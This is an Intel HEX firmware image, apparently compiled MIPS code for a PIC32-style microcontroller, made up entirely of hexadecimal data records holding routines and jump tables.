:108fa80002000000301188bf080000000a0000001d
:108fb800301188bf1000000012000000301188bf77
:108fc800180000001a000000401188bf00000000cf
:108fd80002000000401188bf080000000a000000dd
:108fe800401188bf1000000012000000401188bf27
:108ff800180000001a000000501188bf000000008f
:049008000200000062
:020000040000fa
:020000041d04d9
:10900c00e8ffbd271400bfaf1000beaf21f0a003d6
:10901c00079d023cffdf443400a0023cdc56452493
:10902c00fc00062400a0023c5c454724424c410f46
:10903c0000000000079d023cfbe0443400a0023c11
:10904c00d85745240812062400a0023c5c4547244e
:10905c00424c410f000000002324410f000000008f
:10906c000100422cff00423021e8c0031400bf8fe6
:10907c001000be8f1800bd270800e00300000000a0
:10908c00e8ffbd271400bfaf1000beaf21f0a00356
:10909c0000a0023cdc564424079d023cffdf453413
:1090ac00fc000624d352410f0000000004004010c5
:1090bc0000000000010002244024410b00000000cd
:1090cc0000a0023cd8574424079d023cfbe04534e9
:1090dc0008120624d352410f000000000400401077
:1090ec0000000000010002244024410b000000009d
:1090fc002110000021e8c0031400bf8f1000be8fa8
:10910c001800bd270800e00300000000e8ffbd27a1
:10911c001400bfaf1000beaf21f0a00300a0023cb2
:10912c00dc564424079d023cffdf4534fc0006243a
:10913c00494a410f0000000000a0023cdc564424c8
:10914c00059d023c5ce8452407000624d352410fe0
:10915c0000000000180040100000000000a0023cbd
:10916c00dc56442421280000fc0006246551410fe4
:10917c000000000000a0023c4944033c524663340a
:10918c00dc5643acdc5643246c650424040064a414
:10919c00dc56422472000324060043a00324410f32
:1091ac0000000000da9d400f0000000021100000bc
:1091bc007924410b0000000000a0023cd857442445
:1091cc00079d023cfbe0453408120624494a410f36
:1091dc00000000000100022421e8c0031400bf8f2e
:1091ec001000be8f1800bd270800e003000000002f
:1091fc00e0ffbd271c00bfaf1800beaf21f0a003dd
:10920c00079d023cffdf42341000c2af8f24410b9c
:10921c00000000001000c28f212040001857410fa1
:10922c00000000001000c28f001042241000c2afda
:10923c001000c38f079d023cfbe042342b106200f0
:10924c00f4ff40140000000021e8c0031c00bf8f95
:10925c001800be8f2000bd270800e00300000000ae
:10926c00e8ffbd271400bfaf1000beaf21f0a00374
:10927c00059d023c64e84424059d023c68e84524b5
:10928c002013410f0000000000a0023cdc564224d9
:10929c00870042902118400000a0023c8018030077
:1092ac0018714224211062000000428c059d033c81
:1092bc0080e86424212840002013410f00000000a6
:1092cc0000a0023cdc5642249c00428c059d033cd1
:1092dc009ce86424212840008513410f0000000005
:1092ec0000a0023cdc564224a00042902118400011
:1092fc0000a0023c8018030000724224211062007e
:10930c000000428c059d033cb8e8642421284000f1
:10931c002013410f0000000000a0023cdc56422448
:10932c00cc00438c00a0023c801803001c0042249b
:10933c00211062000000428c059d033cd4e864249b
:10934c00212840002013410f0000000000a0023c27
:10935c00dc564224c400438c00a0023c801803005d
:10936c001c004224211062000000428c059d033c2d
:10937c00f0e86424212840002013410f0000000075
:10938c0000a0023cdc564224c800438c00a0023ce6
:10939c00801803001c004224211062000000428c43
:1093ac00059d033c0ce96424212840002013410f47
:1093bc000000000000a0023cdc564224a400428cb9
:1093cc00059d033c28e96424212840008513410fa6
:1093dc000000000000a0023cdc564224a800428c95
:1093ec00059d033c44e96424212840008513410f6a
:1093fc000000000000a0023cdc564224ac00428c71
:10940c00059d033c60e96424212840008513410f2d
:10941c000000000000a0023cdc564224b000428c4c
:10942c00059d033c7ce96424212840008513410ff1
:10943c000000000000a0023cdc564224b400428c28
:10944c00059d033c98e96424212840008513410fb5
:10945c000000000000a0023cdc564224b800428c04
:10946c00059d033cb4e96424212840008513410f79
:10947c000000000000a0023cdc564224bc004290dc
:10948c00059d033cd0e96424212840008513410f3d
:10949c000000000000a0023cdc564224bd004290bb
:1094ac00059d033cece96424212840008513410f01
:1094bc000000000000a0023cdc564224be0042909a
:1094cc00059d033c0cea6424212840008513410fc0
:1094dc000000000000a0023cdc564224bf00429079
:1094ec00059d033c2cea6424212840008513410f80
:1094fc000000000000a0023cdc564224c000429058
:10950c00059d033c4cea6424212840008513410f3f
:10951c000000000000a0023cdc564224d800428c23
:10952c00059d033c6cea6424212840008513410fff
:10953c000000000000a0023cdc564224dc00428cff
:10954c00059d033c88ea6424212840008513410fc3
:10955c000000000000a0023cdc5642248800428c33
:10956c00059d033ca4ea6424212840008513410f87
:10957c000000000000a0023cdc564224d400428cc7
:10958c00059d033cc0ea6424212840008513410f4b
:10959c000000000000a0023cdc5642248c00428cef
:1095ac00059d033cdcea6424212840008513410f0f
:1095bc000000000000a0023cdc564224e000428c7b
:1095cc00059d033cf8ea6424212840008513410fd3
:1095dc000000000000a0023cdc564224ec00428c4f
:1095ec00059d033c14eb6424212840008513410f96
:1095fc000000000000a0023cdc564224f000428c2b
:10960c00059d033c30eb6424212840008513410f59
:10961c000000000000a0023cdc564224e400428c16
:10962c00059d033c4ceb6424212840008513410f1d
:10963c000000000000a0023cdc564224e800428cf2
:10964c00059d033c68eb6424212840008513410fe1
:10965c000000000000a0023cdc564224f800428cc2
:10966c00059d033c84eb6424212840008513410fa5
:10967c000000000000a0023cdc564224f400428ca6
:10968c00059d033ca0eb6424212840008513410f69
:10969c000000000000a0023cdc5642249000428cea
:1096ac00059d033cbceb6424212840008513410f2d
:1096bc000000000000a0023cdc5642249400428cc6
:1096cc00059d033cd8eb6424212840008513410ff1
:1096dc000000000000a0023cdc5642249800438ca1
:1096ec0000a0023c801803002400422421106200d8
:1096fc000000428c059d033cf4eb642421284000bf
:10970c002013410f0000000021e8c0031400bf8f9c
:10971c001000be8f1800bd270800e00300000000f9
:10972c00f8ffbd270400beaf21f0a0030800c4afb2
:10973c002110a0000c00c2a30c00c293f9ff42241c
:10974c000c00432c2d00601000000000801802005b
:10975c00059d023c74974224211062000000428c4b
:10976c000800400000000000bc97049dd497049da5
:10977c000898049dec97049d0898049d0898049df6
:10978c000898049d0898049d0898049df497049dde
:10979c000898049da497049d0800c28f040003241c
:1097ac00000043ac010002240326410b0000000022
:1097bc000800c28f01000324000043ac0100022406
:1097cc000326410b000000000800c28f0300032495
:1097dc00000043ac010002240326410b00000000f2
:1097ec000800c28f000040ac0800c28f000040ace3
:1097fc00010002240326410b000000002110000090
:10980c0021e8c0030400be8f0800bd270800e00358
:10981c0000000000f8ffbd270400beaf21f0a0033c
:10982c000800c4af2110a0000c00c2a30c00c2930e
:10983c00f9ff42240c00432c3200601000000000a1
:10984c0080180200059d023c689842242110620099
:10985c000000428c0800400000000000b098049dfd
:10986c00c898049d1099049de098049d1099049d3e
:10987c001099049d1099049d1099049d1099049db4
:10988c00f898049d1099049d9898049d0800c28f27
:10989c0005000324000043ac010002244526410bc3
:1098ac00000000000800c28f04000324000043ac39
:1098bc00010002244526410b000000000800c28f65
:1098cc0004000324000043ac010002244526410b94
:1098dc00000000000800c28f01000324000043ac0c
:1098ec00010002244526410b000000000800c28f35
:1098fc0001000324000043ac010002244526410b67
:10990c00000000002110000021e8c0030400be8ffd
:10991c000800bd270800e00300000000f8ffbd2789
:10992c000400beaf21f0a0030800c4af2110a000ba
:10993c000c00c2a30c00c2930a00032418004310ad
:10994c00000000000b00432806006010000000001f
:10995c00080003240c004310000000007726410b84
:10996c00000000001000032413004310000000004e
:10997c001200032416004314000000002110000004
:10998c007826410b000000000800c28f0100032460
:10999c00000043ac010002247826410b00000000bb
:1099ac000800c28f07000324000043ac010002240e
:1099bc007826410b000000000800c28f070003242a
:1099cc00000043ac010002247826410b000000008b
:1099dc002110000021e8c0030400be8f0800bd2741
:1099ec000800e00300000000f8ffbd270400beaf34
:1099fc0021f0a0030800c4af2110a0000c00c2a3ea
:109a0c000c00c2930800032409004310000000005e
:109a1c00120003240c004314000000000800c28f45
:109a2c00000040ac010002249626410b000000000f
:109a3c000800c28f02000324000043ac0100022482
:109a4c009626410b000000002110000021e8c00305
:109a5c000400be8f0800bd270800e00300000000d2
:109a6c00e0ffbd271c00bfaf1800beaf21f0a00364
:109a7c002000c4af2110a0002400c2a32400c29374
:109a8c001000c3272120600021284000cb25410f66
:109a9c00000000000b004010000000001000c28ffe
:109aac00211840001000c28f2000c48f21286000b4
:109abc0021304000cc43410f00000000b526410b83
:109acc00000000002110000021e8c0031c00bf8f23
:109adc001800be8f2000bd270800e0030000000026
:109aec00e0ffbd271c00bfaf1800beaf21f0a003e4
:109afc002000c4af2110a0002400c2a32400c293f4
:109b0c001000c32721206000212840004a26410f65
:109b1c00000000000b004010000000001000c28f7d
:109b2c00211840001000c28f2000c48f2128600033
:109b3c0021304000cc43410f00000000d526410be2
:109b4c00000000002110000021e8c0031c00bf8fa2
:109b5c001800be8f2000bd270800e00300000000a5
:109b6c00e0ffbd271c00bfaf1800beaf21f0a00363
:109b7c002000c4af2110a0002400c2a32400c29373
:109b8c001000c32721206000212840007d26410fb2
:109b9c00000000000b004010000000001000c28ffd
:109bac00211840001000c28f2000c48f21286000b3
:109bbc0021304000cc43410f00000000f526410b42
:109bcc00000000002110000021e8c0031c00bf8f22
:109bdc001800be8f2000bd270800e0030000000025
:109bec00e8ffbd271400bfaf1000beaf21f0a003eb
:109bfc001800c4af2118a0002110c0001c00c3a382
:109c0c002000c2a32000c2930a0003241d004310ad
:109c1c00000000000b00432806006010000000004c
:109c2c000800032410004310000000003227410bf1
:109c3c000000000010000324190043100000000075
:109c4c00120003241d004314000000001c00c293ea
:109c5c001800c48f212840006ae1400f000000006a
:109c6c003327410b000000001c00c2931800c48f66
:109c7c002128400038b3400f000000003327410b6f
:109c8c00000000001c00c2931800c48f2128400063
:109c9c00add2400f000000003327410b0000000044
:109cac001c00c2931800c48f21284000bae6400f54
:109cbc00000000003327410b0000000021100000c1
:109ccc0021e8c0031400bf8f1000be8f1800bd2701
:109cdc000800e00300000000e8ffbd271400bfaf40
:109cec001000beaf21f0a0031800c4af1c00c5af1c
:109cfc002000c6af2110e0002400c2a32400c293b0
:109d0c000a0003241c004310000000000b00432831
:109d1c000600601000000000080003240f00431030
:109d2c00000000006d27410b000000001000032410
:109d3c001700431000000000120003241a00431403
:109d4c00000000001800c48f2000c58fcedf400f2c
:109d5c00000000006e27410b000000001800c48fab
:109d6c001c00c58f2000c68f4fb4400f00000000b0
:109d7c006e27410b000000001800c48f1c00c58f1b
:109d8c003ed1400f000000006e27410b0000000088
:109d9c001800c48f1c00c58f2fe4400f000000007a
:109dac006e27410b000000002110000021e8c003c9
:109dbc001400bf8f1000be8f1800bd270800e003f1
:109dcc000000000088ffbd277400bfaf7000beaf5d
:109ddc006c00b2af6800b1af6400b0af21f0a0036b
:109dec007800c4af88bf023c2061428c0100423035
:109dfc0003004014000000002e28410b000000005e
:109e0c001c00c227212040003000052440000624fd
:109e1c006551410f000000005c00c0a37800c48fa6
:109e2c00a34a410f000000001100422c25004014f1
:109e3c0000000000040002241a00c2a31800c0a3f2
:109e4c007800c48fa34a410f00000000ff0042308d
:109e5c00ffff42241900c2a3ab27410b00000000f6
:109e6c001800c2933f000324231062001900c3930f
:109e7c007800c48f21188300000063901800c42759
:109e8c0021108200040043a01800c2930100422458
:109e9c001800c2a31900c293ffff42241900c2a3e9
:109eac001800d2937800c48fa34a410f0000000021
:109ebc002b104202eaff401400000000c327410ba4
:109ecc0000000000010002241a00c2a37800c48f15
:109edc00a34a410f00000000ff0042300100423055
:109eec001900c2a31900c2931c00c32721106200e1
:109efc00212040007800c58f7f49410f00000000f1
:109f0c001900c0a30528410b000000001900c293e2
:109f1c00c018020000a0023ce0714224211862002b
:109f2c001900c293001102001c00c42721108200ea
:109f3c0021206000212840006db8400f0000000077
:109f4c000400401400000000211000002e28410bda
:109f5c00000000001800c0a3fe27410b0000000009
:109f6c001800c3931900c2938011020021306200c3
:109f7c001900c39300a0023cc0180300e0714224f6
:109f8c00211062000400438c0000428c1800c49322
:109f9c003f0005242320a400200085302138000038
:109fac0040480300ffff08242640880004400901b4
:109fbc000680820025801001068883000b80250214
:109fcc000b88e500ff00023201004230ff004330f5
:109fdc0000a0023cf06a42242110c200000043a001
:109fec001800c293010042241800c2a31800c293a7
:109ffc004000422cdaff4014000000001900c2930c
:10a00c00010042241900c2a31900c3931a00c29381
:10a01c002b106200bdff4014000000001a00c39317
:10a02c000100022406006214000000001800c0a306
:10a03c00400002241900c2a31728410b00000000a5
:10a04c00200002241800c2a3e0ff02241900c2a3be
:10a05c001800c39300a0023cf06a42242120620045
:10a06c001900c59300a0023cdc5642249c00438c92
:10a07c0000a0023cdc564224a400428c00a0063c0a
:10a08c00dc56c624a800c78c00a0063cdc56c624af
:10a09c00d400c68c1000a7af1400a6af213060000e
:10a0ac0021384000c207410f0000000021e8c00326
:10a0bc007400bf8f7000be8f6c00b28f6800b18fc0
:10a0cc006400b08f7800bd270800e003000000009a
:10a0dc00d8ffbd272400bfaf2000beaf21f0a003e6
:10a0ec002800c4af2800c48fcc08410f000000002a
:10a0fc0008004010000000002800c48fa34a410f44
:10a10c00000000002118400010000224040062101e
:10a11c000000000021100000d228410b00000000bc
:10a12c002800c28f0f004224000043903500022407
:10a13c000a006210000000002800c28f0f004224a9
:10a14c000000439044000224040062100000000050
:10a15c0021100000d228410b000000002800c28f03
:10a16c000e004224000043903000022416006210be
:10a17c00000000002800c28f0e0042240000439013
:10a18c003100022410006210000000002800c28f71
:10a19c000e00422400004390380002240a00621092
:10a1ac00000000002800c28f0e00422400004390e3
:10a1bc00390002240400621000000000211000008d
:10a1cc00d228410b000000001400c0af1000c0af3b
:10a1dc00c828410b000000001400c28f2800c38f58
:10a1ec0021106200000042906100422c10004014cb
:10a1fc00000000001400c28f2800c38f21106200e1
:10a20c00000042906700422c090040100000000042
:10a21c001400c28f2800c38f2110620000004290ee
:10a22c00a9ff42241800c2afbe28410b0000000059
:10a23c001400c28f2800c38f2110620000004290ce
:10a24c003000422c10004014000000001400c28f9b
:10a25c002800c38f21106200000042903a00422c6b
:10a26c0009004010000000001400c28f2800c38faa
:10a27c002110620000004290d0ff42241800c2afaf
:10a28c00be28410b000000001400c28f2800c38fb1
:10a29c0021106200000042904100422c100040143a
:10a2ac00000000001400c28f2800c38f2110620030
:10a2bc00000042904700422c0900401000000000b2
:10a2cc001400c28f2800c38f21106200000042903e
:10a2dc00c9ff42241800c2afbe28410b0000000089
:10a2ec0021100000d228410b000000001800c28f82
:10a2fc0021204000e656410f000000001000c38fe3
:10a30c00211062001000c2af1400c28f0100422461
:10a31c001400c2af1400c28f10004228aeff4014cc
:10a32c00000000001000c38fc3170300c217020007
:10a33c0021186200010063302310620021e8c00381
:10a34c002400bf8f2000be8f2800bd270800e0032b
:10a35c0000000000e8ffbd271400bfaf1000beaf27
:10a36c0021f0a0031800c4af1c00c5af1c00c28fa5
:10a37c000000428004004014000000002110000086
:10a38c00ea28410b000000001800c48f1c00c58f88
:10a39c007f49410f000000000100022421e8c003a6
:10a3ac001400bf8f1000be8f1800bd270800e003fb
:10a3bc0000000000e8ffbd271400bfaf1000beafc7
:10a3cc0021f0a0031800c4af1800c48fcc08410fb3
:10a3dc000000000021e8c0031400bf8f1000be8fe6
:10a3ec001800bd270800e00300000000e8ffbd27af
:10a3fc001400bfaf1000beaf21f0a0031800c4af13
:10a40c001c00c5af1c00c28f000042800400401429
:10a41c0000000000211000001029410b000000007a
:10a42c001800c48f1c00c58f7f49410f000000002d
:10a43c000100022421e8c0031400bf8f1000be8f5e
:10a44c001800bd270800e00300000000e8ffbd274e
:10a45c001400bfaf1000beaf21f0a0031800c4afb2
:10a46c001c00c5af1800c48f1c00c58ff029410f0c
:10a47c000000000008004010000000001800c48f0d
:10a48c001800c58f6000062463b9400f000000005f
:10a49c002a29410b000000002110000021e8c00314
:10a4ac001400bf8f1000be8f1800bd270800e003fa
:10a4bc000000000068ffbd279400bfaf9000beaf46
:10a4cc008c00b0af21f0a0039800c4af9c00c5afc6
:10a4dc001400c227212040009c00c58fe7b8400f14
:10a4ec0000000000040040140000000021100000d7
:10a4fc00e929410b000000001000c0a35029410bba
:10a50c00000000001000c2931000c327211062004d
:10a51c0004004290040040100000000021100000d4
:10a52c00e929410b000000001000c29301004224f5
:10a53c001000c2a31000c2930400422cf1ff40147f
:10a54c00000000001400c3271400c227040042249a
:10a55c0021206000212840005c000624494a410f5c
:10a56c0000000000010002241000c2a38929410b45
:10a57c00000000001000c29380100200ffff422474
:10a58c001000c32721106200040050901000c293e9
:10a59c00ffff4224801002001400c3272110620028
:10a5ac00212040000100052403000624ffbc400fbd
:10a5bc000000000004000212000000002110000046
:10a5cc00e929410b000000001000c293ffff432457
:10a5dc002110600040100200211043001400c3271a
:10a5ec00211862001000c293ffff42248010020069
:10a5fc001400c42721108200212060002128400073
:10a60c0003000624494a410f000000001000c293c9
:10a61c00010042241000c2a31000c2931700422c68
:10a62c00d4ff4014000000001400c3271400c227fc
:10a63c00030042242120600021284000420006240f
:10a64c00494a410f000000007400c3271400c227c0
:10a65c0021206000212840000800062463b9400f27
:10a66c00000000007400c22721204000059d023c20
:10a67c00e4594524734d410f0000000004004010c4
:10a68c000000000021100000e929410b000000002f
:10a69c001400c3271400c2270800422421206000a4
:10a6ac00212840003a000624494a410f00000000ce
:10a6bc001400d0931400c227010042242120400032
:10a6cc00212800000c000624ffbc400f00000000f5
:10a6dc00040002120000000021100000e929410bc7
:10a6ec00000000002d00d0931400c2270d0042245e
:10a6fc0021204000010005240c000624ffbc400f63
:10a70c0000000000040002120000000021100000f4
:10a71c00e929410b000000007400c3271400c22774
:10a72c00010042242120600021284000180006244a
:10a73c0063b9400f0000000004004014000000004a
:10a74c0021100000e929410b000000007400c4270f
:10a75c007c00c3278000c227059d053ce859a52431
:10a76c002130600021384000b355410f000000003b
:10a77c007c00c38f8000c28f9800c48f059d053c60
:10a78c00f059a5242130600021384000ac54410f11
:10a79c00000000000100022421e8c0039400bf8fd8
:10a7ac009000be8f8c00b08f9800bd270800e0038e
:10a7bc0000000000b0ffbd274c00bfaf4800beaf8b
:10a7cc004400b0af21f0a0035000c4af5400c5af9b
:10a7dc005400c48fa34a410f000000002118400010
:10a7ec000800022404006210000000002110000088
:10a7fc00842a410b000000003800c2275400c48f8b
:10a80c00059d033cfc59652421304000b355410f94
:10a81c00000000003800c28f1c00c32721206000fc
:10a82c00059d033c045a652421304000ac54410f73
:10a83c00000000001400c3271c00c2272120600068
:10a84c002128400002000624494a410f0000000064
:10a85c005400c28f030043243800c227212060001b
:10a86c00059d033c0c5a652421304000b355410f23
:10a87c00000000003800c28f1c00c327212060009c
:10a88c00059d033c145a652421304000ac54410f03
:10a89c00000000001400c227020043241c00c22741
:10a8ac00212060002128400005000624494a410f60
:10a8bc00000000001c00c227010043241400c22722
:10a8cc002120600021284000e7b8400f0000000064
:10a8dc001c00c3271c00c227010042242120600059
:10a8ec0021284000180006244af8400f0000000000
:10a8fc005000c48f21280000600006246551410fd0
:10a90c00000000005000c48f059d023c1c5a4524d9
:10a91c00e7b8400f000000001000c0a31200022492
:10a92c001100c2a3642a410b000000001100c29365
:10a93c0001004224030042300400401400000000d7
:10a94c001100c293010042241100c2a31100c29352
:10a95c005000c38f211062001000c3931000c42755
:10a96c00211883000c006390000043a01000c293d8
:10a97c00010042241000c2a31100c2930100422422
:10a98c001100c2a31000c2931a00422ce7ff40141e
:10a99c0000000000010002241000c2a37f2a410b1a
:10a9ac00000000001000c29301004224801002003d
:10a9bc00ffff42245000c38f218062001000c2931d
:10a9cc00801002005000c38f211062002120400033
:10a9dc000100052403000624ffbc400f000000000a
:10a9ec00000002a21000c293010042241000c2a376
:10a9fc001000c2931800422ceaff40140000000023
:10aa0c000100022421e8c0034c00bf8f4800be8f18
:10aa1c004400b08f5000bd270800e0030000000088
:10aa2c00e8ffbd271400bfaf1000beaf21f0a0039c
:10aa3c001800c4af1800c48f212800008af9400ff9
:10aa4c000000000021e8c0031400bf8f1000be8f6f
:10aa5c001800bd270800e00300000000c8ffbd2758
:10aa6c003400bfaf3000beaf21f0a003211880002e
:10aa7c002110a0004000c6af4400c7af3800c3a3ec
:10aa8c003c00c2a34000c28f220040100000000016
:10aa9c003800c3933c00c29325106200ff00423083
:10aaac001800c2af1800c28f001202001800c2af0b
:10aabc004400c28fff0342301800c38f2510620080
:10aacc001800c2af2000c2274800c38f1000a3afec
:10aadc002400c3271400a3af1800c48ffe00052464
:10aaec0021300000213840000b42410f00000000d3
:10aafc001c00c2af2400c28fff0043304c00c28f39
:10ab0c00000043a01c00c28fff004230db2a410b27
:10ab1c00000000004400c28fff0042302800c2a396
:10ab2c003800c3933c00c29325106200ff004230f2
:10ab3c00211840002800c2274800c48f1000a4af81
:10ab4c004c00c48f1400a4af21206000ff0005242a
:10ab5c004000c68f21384000c741410f0000000063
:10ab6c0021e8c0033400bf8f3000be8f3800bd27f2
:10ab7c000800e00300000000d8ffbd272400bfaf91
:10ab8c002000beaf21f0a0032800c4af1800c0af56
:10ab9c001000a0af2800c28f1400a2af0c00042438
:10abac0050000524010006241800c78f9a2a410f73
:10abbc000000000021e8c0032400bf8f2000be8fde
:10abcc002800bd270800e00300000000d8ffbd27c7
:10abdc002400bfaf2000beaf21f0a00321108000e5
:10abec002c00c5af2800c2a31800c0af2800c29328
:10abfc000500401000000000100002242800c2a331
:10ac0c00062b410b000000002800c0a32800c293b3
:10ac1c001000a0af2c00c38f1400a3af04000424b9
:10ac2c0021284000213000001800c78f9a2a410fbc
:10ac3c000000000021e8c0032400bf8f2000be8f5d
:10ac4c002800bd270800e00300000000d8ffbd2746
:10ac5c002400bfaf2000beaf21f0a0032110800064
:10ac6c002c00c5af2800c2a31800c0af2800c293a7
:10ac7c000500401000000000100002242800c2a3b0
:10ac8c00262b410b000000002800c0a32800c29313
:10ac9c001000a0af2c00c38f1400a3af0800042435
:10acac0021284000213000001800c78f9a2a410f3c
:10acbc000000000021e8c0032400bf8f2000be8fdd
:10accc002800bd270800e00300000000d8ffbd27c6
:10acdc002400bfaf2000beaf21f0a00321188000dc
:10acec002110a0003000c6af2800c3a32c00c2a3c3
:10acfc001800c0af2800c2930c00401000000000e8
:10ad0c002c00c2930500401000000000300002240b
:10ad1c002800c2a3562b410b000000001000022497
:10ad2c002800c2a3562b410b000000002c00c2933c
:10ad3c000500401000000000200002242800c2a3df
:10ad4c00562b410b000000002800c0a32800c29322
:10ad5c001000a0af3000c38f1400a3af0c0004246c
:10ad6c0021284000010006241800c78f9a2a410fa1
:10ad7c000000000021e8c0032400bf8f2000be8f1c
:10ad8c002800bd270800e00300000000e0ffbd27fd
:10ad9c001c00bfaf1800beaf21f0a003211880002b
:10adac002110a0002800c6af2c00c7af2000c3a301
:10adbc002400c2a32000c2930c004010000000002d
:10adcc002400c29305004010000000003000022453
:10addc002000c2a3862b410b0000000010000224af
:10adec002000c2a3862b410b000000002400c2935c
:10adfc000500401000000000200002242000c2a327
:10ae0c00862b410b000000002000c0a32000c29341
:10ae1c001000a0af2c00c38f1400a3af21200000a2
:10ae2c0021284000010006242800c78f9a2a410fd0
:10ae3c000000000021e8c0031c00bf8f1800be8f6b
:10ae4c002000bd270800e00300000000e0ffbd2744
:10ae5c001c00bfaf1800beaf21f0a00321200000e2
:10ae6c00212800001000c22721304000362b410f52
:10ae7c000000000009004014000000001000c29304
:10ae8c00059d033c44326424212840008513410f66
:10ae9c0000000000b02b410b000000001000c2931a
:10aeac00059d033c68326424212840008513410f22
:10aebc000000000001000424212800001000c2271b
:10aecc0021304000362b410f0000000009004014d7
:10aedc00000000001000c293059d033c90326424d6
:10aeec00212840008513410f00000000c62b410ba8
:10aefc00000000001000c293059d033cb032642496
:10af0c00212840008513410f000000002120000083
:10af1c00010005241000c22721304000362b410fc0
:10af2c000000000009004014000000001000c29353
:10af3c00059d033cd4326424212840008513410f25
:10af4c0000000000dc2b410b000000001000c2933d
:10af5c00059d033cfc326424212840008513410fdd
:10af6c000000000001000424010005241000c22789
:10af7c0021304000362b410f000000000900401426
:10af8c00000000001000c293059d033c2433642490
:10af9c00212840008513410f00000000f22b410bcb
:10afac00000000001000c293059d033c483364244c
:10afbc00212840008513410f0000000021e8c00348
:10afcc001c00bf8f1800be8f2000bd270800e003b7
:10afdc0000000000e8ffbd271400bfaf1000beaf9b
:10afec0021f0a0031800c4af00a0023cdc564224a0
:10affc00870042901600432c740060100000000083
:10b00c0080180200059d023c28b0422421106200e9
:10b01c000000428c0800400000000000d8b1049de4
:10b02c0080b0049de4b0049de4b0049d74b1049d13
:10b03c00d8b1049dd8b1049d24b1049d38b1049db0
:10b04c00bcb0049d88b1049d10b1049d4cb1049d0d
:10b05c0060b1049db0b1049dd0b0049d9cb1049d21
:10b06c0094b0049da8b0049dd8b1049dfcb0049d7f
:10b07c00c4b1049d1800c48f3bff400f00000000ba
:10b08c00782c410b000000001800c48f8b2a410f54
:10b09c0000000000782c410b000000001800c48f49
:10b0ac0063de400f00000000782c410b0000000014
:10b0bc001800c48f81db400f00000000782c410b7e
:10b0cc00000000001800c48f201e410f000000007b
:10b0dc00782c410b000000001800c48f21280000c0
:10b0ec008af9400f00000000782c410b0000000092
:10b0fc001800c48f1920410f00000000782c410b60
:10b10c00000000001800c48f873d410f00000000b4
:10b11c00782c410b000000001800c48f09ab400fc5
:10b12c0000000000782c410b000000001800c48fb8
:10b13c00d2ad400f00000000782c410b0000000045
:10b14c001800c48f3728410f00000000782c410be9
:10b15c00000000001800c48ff028410f0000000010
:10b16c00782c410b000000001800c48fcc08410f54
:10b17c0000000000782c410b000000001800c48f68
:10b18c00e7ce400f00000000782c410b00000000bf
:10b19c001800c48f84e2400f00000000782c410b93
:10b1ac00000000001800c48f2343410f0000000072
:10b1bc00782c410b000000001800c48fce40410fca
:10b1cc0000000000782c410b000000000000000083
:10b1dc002110000021e8c0031400bf8f1000be8fa7
:10b1ec001800bd270800e00300000000e8ffbd27a1
:10b1fc001400bfaf1000beaf21f0a0031800c4af05
:10b20c001c00c5af2110c0002000c2a32000c293b7
:10b21c001600432c8d006010000000008018020006
:10b22c00059d023c44b24224211062000000428c75
:10b23c0008004000000000009cb2049db8b2049dc0
:10b24c0034b3049d34b3049ddcb3049d58b4049d05
:10b25c0058b4049d7cb3049d94b3049d04b3049d25
:10b26c00f4b3049d64b3049dacb3049dc4b3049dba
:10b27c0028b4049d1cb3049d0cb4049dd0b2049d51
:10b28c00e8b2049d58b4049d4cb3049d40b4049d95
:10b29c001800c48f1c00c58f7f49410f00000000af
:10b2ac0001000224182d410b000000001800c48f6f
:10b2bc001c00c58f98ff400f00000000182d410b9b
:10b2cc00000000001800c48f1c00c58f3029410fee
:10b2dc0000000000182d410b000000001800c48f66
:10b2ec001c00c58f7f49410f0000000001000224a3
:10b2fc00182d410b000000001800c48f1c00c58fd6
:10b30c008fdb400f00000000182d410b00000000e7
:10b31c001800c48f1c00c58f111f410f00000000c6
:10b32c00182d410b000000001800c48f1c00c58fa5
:10b33c00c3fa400f00000000182d410b0000000064
:10b34c001800c48f1c00c58f0621410f000000009f
:10b35c00182d410b000000001800c48f1c00c58f75
:10b36c00dc3c410f00000000182d410b00000000d8
:10b37c001800c48f1c00c58f5eab400f000000008e
:10b38c00182d410b000000001800c48f1c00c58f45
:10b39c001aae400f00000000182d410b00000000f9
:10b3ac001800c48f1c00c58fd828410f0000000066
:10b3bc00182d410b000000001800c48f1c00c58f15
:10b3cc00fe28410f00000000182d410b000000006a
:10b3dc001800c48f1c00c58f2f09410f00000000fe
:10b3ec00182d410b000000001800c48f1c00c58fe5
:10b3fc001dcf400f00000000182d410b0000000075
:10b40c001800c48f1c00c58f7f49410f000000003d
:10b41c0001000224182d410b000000001800c48ffd
:10b42c001c00c58f3143410f00000000182d410b4b
:10b43c00000000001800c48f1c00c58fdc40410fb9
:10b44c0000000000182d410b00000000000000005f
:10b45c002110000021e8c0031400bf8f1000be8f24
:10b46c001800bd270800e00300000000e0fdbd2728
:10b47c001c02bfaf1802beaf21f0a0032002c4af64
:10b48c002110a0002402c2a31000c22721204000da
:10b49c00f82b410f000000000f00401000000000ce
:10b4ac002402c2932002c48f1000c32721286000fd
:10b4bc00213040007e2c410f00000000060040109f
:10b4cc00000000002002c48f9ff7400f0000000016
:10b4dc003a2d410b000000002110000021e8c003b0
:10b4ec001c02bf8f1802be8f2002bd270800e0038c
:10b4fc0000000000e0ffbd271c00bfaf1800beaf6e
:10b50c0021f0a003214880002140a0002128c00088
:10b51c002120e0003000c38f3800c28f2000c9a367
:10b52c002400c8a32800c5a32c00c4a31000c3a3e7
:10b53c001400c2a3488280a74a8280a34b8280a3b6
:10b54c002000c2934c8282a32400c2934d8282a31a
:10b55c002800c2934e8282a32c00c2934f8282a3f6
:10b56c001000c293508282a31400c293518282a312
:10b57c001000c29308004010000000001000c2939d
:10b58c0000a0033cf06964243400c58f21304000d6
:10b59c00494a410f000000000a0004243a1c410fe4
:10b5ac00000000004c8284274882852700a0023cc2
:10b5bc00f0694624afef400f000000000400401477
:10b5cc000000000021100000b02d410b0000000015
:10b5dc004a8283936c000224110062140000000064
:10b5ec004b828293518282a30a0004243a1c410f9d
:10b5fc00000000004c8284274882852700a0023c72
:10b60c00f0694624afef400f000000000400401426
:10b61c000000000021100000b02d410b00000000c4
:10b62c004a82839361000224170062140000000018
:10b63c004c8280a3c0ff02244d8282a34e8280a341
:10b64c004f8280a3508280a34b828293518282a32b
:10b65c000a0004243a1c410f000000004c8284278d
:10b66c004882852700a0023cf0694624afef400fca
:10b67c000000000004004014000000002110000035
:10b68c00b02d410b000000004a82839390000224ed
:10b69c0007006214000000004b82829304004014e7
:10b6ac000000000001000224b02d410b000000003e
:10b6bc002110000021e8c0031c00bf8f1800be8fb2
:10b6cc002000bd270800e00300000000c8ffbd27d4
:10b6dc003400bfaf3000beaf2c00b0af21f0a003e0
:10b6ec003800c4af2000c0a32100c0a32200c0a317
